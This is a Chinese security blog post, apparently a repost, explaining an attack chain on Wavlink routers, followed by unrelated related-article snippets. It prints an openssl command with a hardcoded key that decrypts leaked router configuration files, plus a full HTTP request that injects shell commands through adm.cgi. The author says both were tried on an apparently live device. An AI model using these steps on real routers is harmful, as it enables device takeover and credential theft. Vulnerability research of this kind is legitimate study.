Wavlink 路由器攻击链

news2024/9/21 4:20:27

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

本文来源无问社区,更多实战内容,渗透思路尽在无问社区icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/13803.html

前言

有网安同好想了解一些关于物联网安全,那我们社区就整理一下身边的设备,就有了这篇文章。

Wavlink 路由器是一款国产的网络通讯设备,2020 年公布了其内部存在的信息泄露漏洞,只要访问对应路由,即可下载相关的配置文件,然后利用统一秘钥进行解密即可获得用户名与密码。在最新的研究中,发现其存在的需要授权的命令注入漏洞,结合前期的信息泄露漏洞,可以实现对设备的未授权攻击。

一、 信息泄露漏洞

信息泄露漏洞处于 cgi-bin/ExportAllSettings.sh 文件中,当在浏览器中直接访问该文件,即可将 backupsettings.dat 文件下载,造成信息泄露。

以 WN535K1 固件为例,打开 cgi-bin/ExportAllSettings.sh,发现其内容如下:  

图片

 只要访问该文件,就可以下载其配置文件,然后我们可以利用脚本中的指令,解出其中的用户名和密码,其中加密方式使用 aes-256,但是解密的 key 为明文 803f5d,因此我们可以直接利用 openssl 对其进行解密,命令如下:  

cat backupsettings.dat | openssl enc -aes-256-cbc -k 803f5d -d 

在这里我们进行一下实际测试,访问某个 IP 对应的路由,发现可以直接下载其后端的配置文件:

图片

然后利用上面指令进行解密,这里要尝试一下,有的能用 ubuntu16 自带的 openssl 低版本(1.0.2)解密成功,有的能用 ubuntu18 自带的 openssl 高版本(1.1.1)解密成功,可能是因为新老版本的 openssl 对 AES 加密的轮次不同。这里解密如下:

图片

二、 命令注入漏洞

在 adm.cgi 文件 set_sys_cmd 函数中,存在命令注入后门。在身份验证过后,函数识别到指定参数时,即可执行上传的命令。

首先我们分析 adm.cgi 文件,逆向如下:

图片

函数读取前端的 page 参数,并进行对应处理,当识别到参数为 sysCMD 时,即调用 set_sys_cmd 函数。该函数接收 command 参数,并直接执行,注意执行命令时要加分号  

图片

还是对之前信息泄露的 IP 进行命令注入测试:

图片

Host: IP
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://IP
Connection: close
Referer: http://IP/set_time.shtml?r=52300
Upgrade-Insecure-Requests: 1

page=sysCMD&command=ls;

借此,通过信息泄露漏洞,可以进行登录,然后通过命令注入漏洞,获取设备控制权限。

最后

大家还有什么想了解的网安知识,欢迎大家私信评论交流。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1923372.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

手把手教你打数学建模国赛!!!第一天软件准备篇

第一天软件准备 MATLAB MATLAB(Matrix Laboratory)是一种强大的数值计算和科学编程软件。它提供了丰富的数学函数和工具,用于数据分析、算法开发、信号处理、图像处理、控制系统设计、仿真等应用领域。 MATLAB具有直观的语法,使…

SAP HCM 定额扣减不生效问题,从定位错误到玩转配置

导读 INTRODUCTION 定额扣减:今天遇到一个很奇怪的问题,就是年假不会扣减年假定额的问题,认真去查看相关配置,但是一直没找到为什么不触发扣减规则,这次出现的问题还是触发规则的问题,触发规则主要这么几类、星期、假期类、日类型、期间工作日程表的技术类、日工作计划类…

用友NC Cloud blobRefClassSearch FastJson反序列化RCE漏洞复现

0x01 产品简介 用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,实现企业的数字化转型和业务流程优化。 0x02 漏洞概述 用友 NC Cloud blobRefClassSearch 接口处存在FastJson反序列…

Apache AGE 聚合函数

简介 一般来说,聚合函数 aggr(expr) 会处理每个聚合键在传入记录中找到的所有匹配行(键使用等价性进行比较)。 在常规聚合(即形式为 aggr(expr) 的情况下),聚合值列表是候选值列表,其中所有空…

学生护眼用什么样的台灯比较好?推荐学生护眼台灯十大排名

台灯成为每家每户不可缺少的家具产品,更是成为学生认可的学习搭子。而设计师设计出多功能的台灯,既能营造适宜的环境,也在为眼睛这个器官提供一个优质舒适的环境。对于学生而言, 学生护眼用什么样的台灯比较好?我们处于…

【经典面试题】是否形成有环链表

1.环形链表oj 2. oj解法 利用快慢指针: /*** Definition for singly-linked list.* struct ListNode {* int val;* struct ListNode *next;* };*/typedef struct ListNode ListNode; bool hasCycle(struct ListNode *head) {ListNode* slow head, *fast…

jenkins系列-01.docker安装jenkins

进入官网:https://www.jenkins.io/ 使用LONG term support版本:2.387.1 docker pull jenkins/jenkins:2.387.1-lts 拉取镜像: 编写docker-compose文件: 启动jenkins: 查看启动日志: 默认生成的密码:…

Go-知识测试-测试参数

Go-知识测试-测试参数 1. -args2. -json3. -o4. -bench5. -benchtime6. -cpu7. -count8. -failfast9. -list10. -parallel11. -run12. -timeout13. -v14 -benchmem 1. -args 指示go test 把-args 后面的参数带到测试中去。具体的测试函数会根据此参数来控制测试流程。 -args后…

c++ - 多态

文章目录 一、多态的概念二、多态使用三、多态的原理 一、多态的概念 1、概念: 多态就是具有多种形态,可以理解为同一个行为不同对象去完成表现出不同的状态,如: 二、多态使用 1、构成多态的条件 (1)派…

从线性变换的视角理解矩阵范数与行列式

在线性代数这一数学分支中,矩阵作为描述线性变换的工具,扮演着至关重要的角色。矩阵的范数和行列式是两个核心概念,它们分别从不同的角度揭示了矩阵及其所代表的线性变换的性质。本文旨在从线性变换的视角出发,探讨矩阵范数与行列…

C#小结:未能找到类型或命名空间名“xxx”(是否缺少 using 指令或程序集引用?)

方案一:移除这些失效的引用,下载对应版本的dll,重新添加引用 方案二:项目右键属性-调整目标框架版本(一般是降低版本) 方案三:调整编译顺序: 项目A:引用1、引用2 &…

底软驱动 | Linux用户空间与内核空间通信(Netlink通信机制)

1,什么是Netlink通信机制 Netlink是linux提供的用于内核和用户态进程之间的通信方式。但是注意虽然Netlink主要用于用户空间和内核空间的通信,但是也能用于用户空间的两个进程通信。只是进程间通信有其他很多方式,一般不用Netlink。除非需要用…

【pytorch】手写数字识别

https://blog.csdn.net/qq_45588019/article/details/120935828 基本均参考该博客 《深度学习原理Pytorch实战》 初步处理 导包 import torch import numpy as np from matplotlib import pyplot as plt from torch.utils.data import DataLoader from torchvision import tr…

esp32 usb cdc串口读写

void setup() { Serial.begin(); // 在USB CDC On Boot使能(Enabled)情况下,这里是USBCDC Serial.setDebugOutput(true); } void loop() { if (Serial.available() > 0) { // 检查是否有可用的数据 String input Serial.readS…

大模型应用中什么是IFT(指令微调)?

大模型应用中什么是IFT(指令微调)? 背景 随着人工智能技术的发展,特别是自然语言处理(NLP)领域的进步,预训练语言模型(如GPT-3、BERT)已经展现出了强大的语言理解和生成…

少儿编程 2024年6月电子学会图形化编程等级考试Scratch二级真题解析(判断题)

2024年6月scratch编程等级考试二级真题 判断题(共10题,每题2分,共20分) 26、下列积木的运算结果为false 答案:错 考点分析:考查逻辑运算符的使用,60>50为true,取反为false&…

Java高频面试基础知识点整理3

干货分享,感谢您的阅读!背景​​​​​​高频面试题基本总结回顾(含笔试高频算法整理) 最全文章见:Java高频面试基础知识点整理 (一)Java基础高频知识考点 针对人员: 1.全部人员都…

笔记 3 :linux 0.11 中的重要的全局变量 (b)

(15) 接着介绍缓冲区初始化,首先介绍一个全局量 end ,表示 源代码编译的终点,随后就是缓冲区: 上图里也介绍了关于缓冲区的其它几个全局变量。全局数组 hash_table 的位置肯定是在 end 以前定义的。end 后为…

算法学习笔记(8.4)-完全背包问题

目录 Question: 图例: 动态规划思路 2 代码实现: 3 空间优化: 代码实现: 下面是0-1背包和完全背包具体的例题: 代码实现: 图例: 空间优化代码示例 Question: 给定n个物品…

Python数据分析案例51——基于K均值的客户聚类分析可视化

案例背景 本次案例带来的是最经典的K均值聚类,对客户进行划分类别的分析,其特点是丰富的可视化过程。这个经典的小案例用来学习或者课程作业在合适不过了。 数据介绍 数据集如下: 客户的编码,性别,年龄,年收入&#…